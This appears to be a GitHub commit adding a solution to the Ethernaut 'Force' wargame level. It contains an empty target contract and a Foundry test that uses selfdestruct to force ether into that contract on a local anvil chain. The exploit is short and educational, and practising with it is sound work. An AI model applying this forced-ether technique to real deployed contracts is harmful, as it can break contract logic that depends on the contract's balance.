Skip to content

Commit

Permalink
07_Force
Browse files Browse the repository at this point in the history
  • Loading branch information
0xHUANG authored and 0xHUANG committed Jan 12, 2025
1 parent 4647596 commit 9c76163
Show file tree
Hide file tree
Showing 2 changed files with 56 additions and 0 deletions.
21 changes: 21 additions & 0 deletions src/07_Force.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
Author: @BoscoHuang
Process:
- Deploy Force contract in anvil:
0. anvil
1. forge create src/07_Force.sol:Force --rpc-url http://127.0.0.1:8545 --private-key 0x....
*/

contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
35 changes: 35 additions & 0 deletions test/07_Force.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "ds-test/test.sol";
import "forge-std/Test.sol";
import "../src/07_Force.sol";

/*
Author: @BoscoHuang
Command:
- forge test --match-contract ForceTest --fork-url http://127.0.0.1:8545 -vvv
*/

contract ForceTest is Test {
Force Ethernaut07;

function setUp() public {
Ethernaut07 = Force(payable(0x5FbDB2315678afecb367f032d93F642f64180aa3)); // Force contract address in anvil
}

function testEthernaut07() public {
console.log("Balance Before:", address(Ethernaut07).balance);

selfdestruct(
payable(address(Ethernaut07))
);

console.log("Balance After:", address(Ethernaut07).balance);
}

receive() external payable {}
}

0 comments on commit 9c76163

Please sign in to comment.